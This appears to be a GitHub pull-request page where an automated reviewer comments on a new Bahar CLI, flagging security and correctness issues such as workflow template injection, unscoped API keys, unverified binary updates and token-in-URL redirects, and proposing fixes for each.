| dist/bahar-linux-x64 \ | |
| dist/bahar-darwin-x64 \ | |
| dist/bahar-darwin-arm64 \ | |
| dist/bahar-windows-x64.exe \ | |
| --repo "$REPOSITORY" \ | |
| --title "Bahar CLI $REF_NAME" \ | |
| --generate-notes |
🧰 Tools
🪛 zizmor (1.26.1)
[error] 81-81: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 87-87: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/release-cli.yml around lines 77 - 88, The release job is
interpolating github.ref_name and github.repository directly into the shell
script in the Create release and upload binaries step, which creates
template-injection risk. Move those values into env variables on the job or
step, then reference the env vars inside the gh release create command instead
of using direct GitHub expressions. Keep the change focused on the release step
so the gh invocation only consumes shell-safe environment variables.
Source: Linters/SAST tools
| apiKey({ | ||
| defaultPrefix: CLI_API_KEY_PREFIX, | ||
| enableSessionForAPIKeys: true, | ||
| }), |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy lift
🧩 Analysis chain
🌐 Web query:
better-auth apiKey plugin defaultPermissions restrict enableSessionForAPIKeys scope
💡 Result:
In the Better Auth API Key plugin, the options you inquired about are used to configure how API keys handle permissions, scoping, and session integration [1][2]. defaultPermissions The defaultPermissions option allows you to define the permissions granted to newly created API keys [2]. You can configure this by passing an object of statements or a dynamic function [2]. Example of object configuration: plugins: [ apiKey({ permissions: { defaultPermissions: { files: ["read"], users: ["read"], }, }, }), ], Example of dynamic function configuration: plugins: [ apiKey({ permissions: { defaultPermissions: async (referenceId, ctx) => { // referenceId is the user ID or organization ID return { files: ["read"], users: ["read"], }; }, }, }), ], restrict There is no top-level restrict option in the Better Auth API Key plugin configuration. Permission enforcement is handled through the permissions structure defined above, which specifies the allowed actions for resources [2]. enableSessionForAPIKeys The enableSessionForAPIKeys option is a boolean setting (default: false) that determines whether an API key can represent a valid session [1][2]. When enabled, the plugin can mock a session for the user if a valid API key is found in the request headers [2]. scope Scoping is primarily managed via the configId option [3][4]. When using multiple API key configurations, you can assign a unique configId to each [3][1]. This ID allows you to scope operations (like key verification, lookup, or updates) to specific configurations by passing the configId to the relevant plugin methods [4][5]. top_results: [6][3][1][2]
Citations:
- 1: https://mintlify.wiki/better-auth/better-auth/plugins/api-key
- 2: https://github.com/better-auth/better-auth/blob/main/docs/content/docs/plugins/api-key/reference.mdx
- 3: https://better-auth.com/docs/plugins/api-key/reference
- 4: https://raw.githubusercontent.com/better-auth/better-auth/main/docs/content/docs/plugins/api-key/index.mdx
- 5: feat(api-key): Organization support in API-Keys & Multiple config support better-auth/better-auth#4210
- 6: https://www.better-auth.com/docs/plugins/api-key
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '\n== apps/api/src/auth.ts (relevant section) ==\n'
sed -n '430,485p' apps/api/src/auth.ts
printf '\n== Search for apiKey creation / permissions usage ==\n'
rg -n "apiKey\.create|permissions|defaultPermissions|CLI_API_KEY_PREFIX|enableSessionForAPIKeys|admin\(" apps -g '!**/node_modules/**'
printf '\n== route.lazy.tsx relevant section ==\n'
sed -n '1,220p' apps/*/src/route.lazy.tsx 2>/dev/null || true
sed -n '1,220p' apps/api/src/route.lazy.tsx 2>/dev/null || trueRepository: Shunseii/bahar
Length of output: 2597
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '\n== apps/web/src/routes/cli-auth/route.lazy.tsx ==\n'
cat -n apps/web/src/routes/cli-auth/route.lazy.tsx
printf '\n== Search for apiKey permissions/defaultPermissions in repo ==\n'
rg -n "defaultPermissions|permissions:\s*\{|apiKey\.create\(|enableSessionForAPIKeys|CLI_API_KEY_PREFIX|CLI_API_KEY_EXPIRY_SECS" apps -g '!**/node_modules/**'
printf '\n== Search for admin route guards / auth checks ==\n'
rg -n "admin\(|isAdmin|role.*admin|requireAdmin|permissions" apps/api/src apps/web/src -g '!**/node_modules/**'Repository: Shunseii/bahar
Length of output: 3466
Scope the CLI API key permissions.
enableSessionForAPIKeys: true makes the key act as the user’s session, and this key is minted with no explicit permissions. That lets a leaked CLI key reach any session-gated route, including admin-only endpoints for admin users. Restrict the key to the minimum permissions needed for the CLI flow.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/api/src/auth.ts` around lines 457 - 460, The apiKey configuration in
auth.ts is granting CLI keys full session-equivalent access through
enableSessionForAPIKeys, which is too broad for a key minted without explicit
permissions. Update the API key setup to scope CLI keys to only the permissions
required by the CLI flow, using the apiKey configuration path in auth.ts and
keeping the existing CLI_API_KEY_PREFIX entry point.
| const state = randomBytes(16).toString("hex"); | ||
|
|
||
| const s = spinner(); | ||
| s.start("Waiting for you to finish signing in in your browser..."); |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Typo: duplicated "in in".
✏️ Proposed fix
- s.start("Waiting for you to finish signing in in your browser...");
+ s.start("Waiting for you to finish signing in in your browser...".replace("in in", "in"));Or simply:
- s.start("Waiting for you to finish signing in in your browser...");
+ s.start("Waiting for you to finish signing in your browser...");📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| s.start("Waiting for you to finish signing in in your browser..."); | |
| s.start("Waiting for you to finish signing in your browser..."); |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/cli/src/commands/login.ts` at line 61, The status message in login flow
has a duplicated phrase (“in in”) in the spinner text. Update the string in the
login command’s startup message (the s.start call in the login flow) so it reads
naturally and removes the typo.
| const binaryResponse = await fetch(asset.browser_download_url); | ||
| const tempPath = `${process.execPath}.download`; | ||
|
|
||
| await Bun.write(tempPath, binaryResponse); | ||
|
|
||
| if (process.platform !== "win32") { | ||
| await Bun.$`chmod +x ${tempPath}`.quiet(); | ||
| } | ||
|
|
||
| await rename(tempPath, process.execPath); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy lift
Downloaded binary is installed without integrity verification.
The update flow fetches and directly executes-in-place a binary from asset.browser_download_url with no checksum or signature check before it replaces the running executable. If the release pipeline or an asset were ever compromised, this would silently install and run arbitrary code on the next invocation. Consider publishing a checksums file (or signing releases) alongside the binaries and verifying it here before rename.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/cli/src/commands/update.ts` around lines 45 - 54, The update flow in the
binary download block currently writes the fetched asset from
asset.browser_download_url straight to process.execPath without any trust check.
Add an integrity verification step in the update logic around the
fetch/Bun.write/rename sequence, using a published checksum or signature from
the release metadata before replacing the executable. Keep the change localized
to the download/install path in update.ts so the binary is only renamed after
verification succeeds.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
No timeout or error handling around the binary download/replace flow.
Unlike getLatestRelease (which uses AbortSignal.timeout(5000)), the binary download here has no timeout and no try/catch, so a stalled connection or a permission error during rename will crash with a raw stack trace instead of the spinner's colors.red failure UX used elsewhere in this command.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/cli/src/commands/update.ts` around lines 45 - 54, The binary
download-and-replace flow in updateCommand lacks the same timeout and failure
handling used elsewhere, so add an AbortSignal timeout to the fetch in the
download step and wrap the fetch/Bun.write/chmod/rename sequence in try/catch.
In the update command’s flow around getLatestRelease, binaryResponse, and
rename, surface failures through the spinner using the existing colors.red-style
error UX instead of allowing raw exceptions to escape.
| await Bun.$`chmod +x ${tempPath}`.quiet(); | ||
| } | ||
|
|
||
| await rename(tempPath, process.execPath); |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🌐 Web query:
Does Node.js fs.rename succeed when the destination path is a currently running executable on Windows?
💡 Result:
No, Node.js fs.rename does not succeed when the destination path is a currently running executable on Windows [1][2]. On Windows, the operating system enforces mandatory file locking for files that are currently in use, including executables that are being run by a process [2]. When fs.rename attempts to overwrite a destination file that is locked—such as an active .exe file—it will fail with an EPERM (operation not permitted) error [3][1][2]. This behavior is a fundamental difference between Windows and POSIX-based systems (like Linux or macOS), where renaming over an open file is generally permitted [2]. Because Node.js's fs.rename maps to underlying system calls that respect these platform-specific locking rules, it cannot bypass the Windows file system's prohibition against modifying or replacing an executable while it is executing [3][2]. For scenarios where you need to replace a file that might be locked, developers often implement workarounds such as: - Ensuring the process holding the lock is terminated before attempting the rename [4][2]. - Implementing a retry mechanism with exponential backoff to wait for the file handle to be released by other processes (e.g., antivirus scanners or indexers) [2]. - Using alternative file operations if applicable, though replacing a locked running executable remains inherently restricted by the Windows kernel [5][6][1].
Citations:
- 1: filesystem edit_file: EPERM error when renaming over locked files on Windows modelcontextprotocol/servers#3199
- 2: https://errornotes.dev/en/errors/nodejs/fix-eperm-operation-not-permitted-rename-error-in-nodejs-on-windows
- 3: EPERM when renaming files on Windows nodejs/node#29481
- 4: https://support.microsoft.com/en-us/topic/you-cannot-rename-an-application-in-a-shared-folder-in-windows-7-or-in-windows-server-2008-r2-if-the-application-is-being-run-by-one-or-more-users-ccc65626-9282-8e50-82b6-affb228a5b56
- 5: https://stackoverflow.com/questions/49015860/windows-api-movefile-not-working-for-running-exe
- 6: rename fails on Windows PHP 8.1 if the target file is being executed php/php-src#7910
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Inspect the update command around the rename call
sed -n '1,160p' apps/cli/src/commands/update.ts
# Find any Windows-specific update or rename handling in the CLI
rg -n "rename\\(|process\\.execPath|win32|windows|self-update|update" apps/cli/src -g '*.ts'Repository: Shunseii/bahar
Length of output: 3131
Windows update flow needs a different replacement strategy rename(tempPath, process.execPath) will fail on Windows because the target is the running CLI binary, so the updater can’t self-replace there. Use a Windows-specific swap/relaunch flow instead.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/cli/src/commands/update.ts` at line 54, The update flow in
rename(tempPath, process.execPath) is not safe on Windows because the running
CLI binary cannot be replaced in place. Update the update command’s replacement
logic in update.ts to branch on platform and use a Windows-specific
swap/relaunch strategy instead of direct rename, keeping the existing
non-Windows path intact.
| export const saveCredentials = async ( | ||
| credentials: Credentials | ||
| ): Promise<void> => { | ||
| const path = credentialsPath(); | ||
|
|
||
| await Bun.write(path, JSON.stringify(credentials, null, 2)); | ||
|
|
||
| if (process.platform !== "win32") { | ||
| await chmod(path, 0o600); | ||
| } | ||
| }; |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Inspect the target file and related helpers with line numbers
git ls-files apps/cli/src/lib/credentials.ts
wc -l apps/cli/src/lib/credentials.ts
cat -n apps/cli/src/lib/credentials.ts
# Find all references to credentialsPath/loadCredentials/saveCredentials in the repo
rg -n "credentialsPath|saveCredentials|loadCredentials" apps/cli/src -S
# If there is a package manifest, inspect the Bun version / environment assumptions
git ls-files package.json bun.lockb bun.lock package-lock.json pnpm-lock.yaml yarn.lock
if [ -f package.json ]; then
cat -n package.json
fiRepository: Shunseii/bahar
Length of output: 3558
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Look up Bun.write semantics from installed docs/typings if present in repo deps or lockfiles
rg -n "write\(.*mode|chmod|auto-creates|mkdir" -S . --glob '!**/node_modules/**' --glob '!**/dist/**' --glob '!**/build/**'
# Inspect TypeScript types if Bun typings are vendored or referenced locally
rg -n "interface WriteFileOptions|type WriteFileOptions|mode\?: number" -S . --glob '!**/node_modules/**'
# Try to locate any project docs about credential file permissions
rg -n "credentials.json|0o600|chmod|personal access token|PAT" -S .Repository: Shunseii/bahar
Length of output: 745
🌐 Web query:
Bun.write documentation file permissions mode option chmod writeFile umask Windows POSIX
💡 Result:
The Bun.write API supports a mode option for configuring file permissions when creating files [1]. Option Details The Bun.write function accepts an optional object parameter that includes a mode property [1]. This mode is provided as a number and is used during the file creation process [1]. Platform Behavior The implementation of file permissions varies between POSIX-compliant systems and Windows, though the internal Bun logic accounts for these differences: 1. POSIX Systems: On Linux and other POSIX-compliant systems, file creation respects the process's umask [2]. While specific file-handling code within Bun may use default modes (such as 0o664 in some lower-level internal routines [3]), higher-level operations that require precise permissions often perform an fchmod or similar operation to ensure the desired mode is applied [2]. 2. Windows: Bun's internal file system logic adapts to Windows-specific APIs for file opening and creation. When a mode is provided, Bun's internal routines (e.g., in Blob.rs) handle these permissions within the constraints of the Windows permission model, often utilizing the provided mode or falling back to standard write permissions [4]. Additional Notes - Bun.write is designed as a high-performance, optimized file I/O method [5]. - When writing to a destination that already exists, Bun overwrites the file and truncates it if the new data is smaller than the existing file [1]. - If the target directory does not exist, Bun can create the parent path (controlled by options like createPath) [1][4]. For developers, it is important to note that while mode is supported, the resulting file permissions may still be influenced by the system umask on POSIX systems [2]. If specific file security is required, explicitly setting the mode and being aware of the environment's umask is recommended [2].
Citations:
- 1: https://bun.sh/reference/bun/write
- 2: install: honor process umask when creating directories oven-sh/bun#29726
- 3: https://github.com/oven-sh/bun/blob/main/src/sys/File.zig
- 4: Bun.write: stream ReadableStream sources instead of stringifying them oven-sh/bun#31689
- 5: https://bun.com/docs/runtime/file-io
Create credentials.json with restrictive permissions up front Bun.write supports a mode option, so write the file as 0o600 instead of creating it first and then calling chmod; that avoids the brief window where the token can be readable. On POSIX, the final mode is still subject to umask.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/cli/src/lib/credentials.ts` around lines 29 - 39, The saveCredentials
function currently writes credentials.json with Bun.write and then tightens
permissions afterward, leaving a brief exposure window. Update saveCredentials
to pass a restrictive mode of 0o600 directly to Bun.write when creating the
file, and keep the platform-specific chmod fallback only if needed for non-POSIX
behavior. Use the existing saveCredentials and credentialsPath symbols to make
the change in the credentials helper.
Source: Coding guidelines
| useEffect(() => { | ||
| const mintAndRedirect = async () => { | ||
| const { data, error } = await authClient.apiKey.create({ | ||
| name: "CLI", | ||
| }); | ||
|
|
||
| if (error || !data) { | ||
| setStatus("error"); | ||
| return; | ||
| } | ||
|
|
||
| const callbackUrl = new URL(`http://localhost:${port}/callback`); | ||
| callbackUrl.searchParams.set("token", data.key); | ||
| callbackUrl.searchParams.set("state", state); | ||
|
|
||
| setStatus("done"); | ||
| window.location.href = callbackUrl.toString(); | ||
| }; | ||
|
|
||
| mintAndRedirect(); | ||
| }, [port, state]); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy lift
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Map the relevant files first
printf '\n== files ==\n'
git ls-files 'apps/web/src/routes/cli-auth/*' 'apps/web/src/routes/*cli-auth*' | sed -n '1,40p'
printf '\n== outline route.lazy.tsx ==\n'
ast-grep outline apps/web/src/routes/cli-auth/route.lazy.tsx --view expanded || true
printf '\n== outline related cli-auth files ==\n'
for f in $(git ls-files 'apps/web/src/routes/cli-auth/*' 2>/dev/null); do
printf '\n--- %s ---\n' "$f"
wc -l "$f"
done
printf '\n== route.lazy.tsx relevant slice ==\n'
cat -n apps/web/src/routes/cli-auth/route.lazy.tsx | sed -n '1,220p'
printf '\n== related route.tsx if present ==\n'
if [ -f apps/web/src/routes/cli-auth/route.tsx ]; then
cat -n apps/web/src/routes/cli-auth/route.tsx | sed -n '1,220p'
fiRepository: Shunseii/bahar
Length of output: 3744
Add an explicit authorization step before minting the CLI API key. The page mints a durable key immediately on load and forwards it to a URL-supplied http://localhost:${port}/callback?... target. Because port and state come from the query string and the only gate is an authenticated session, a logged-in user can be tricked into opening this route and silently minting a new credential for an arbitrary loopback listener. Passing the raw key in the redirect URL also leaves it in browser history; use a short-lived one-time code or POST exchange instead of embedding the secret in the URL.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/web/src/routes/cli-auth/route.lazy.tsx` around lines 15 - 35, The
cli-auth route currently mints an API key immediately in useEffect via
authClient.apiKey.create and then sends the raw token to the localhost callback
URL built from port/state, so add an explicit user authorization/consent step
before minting. Update the mintAndRedirect flow in route.lazy.tsx to require a
deliberate approval action before calling authClient.apiKey.create, and replace
the token-in-URL redirect with a short-lived one-time code or POST-based
exchange so the secret is not exposed in window.location.href or browser
history.
1 participant
Adds a standalone bunli-based CLI (apps/cli) so an agent or user can query their own Bahar dictionary/flashcard data directly against their per-user Turso database, bypassing the need for a new REST API surface.
Summary by CodeRabbit
New Features
Bug Fixes
Chores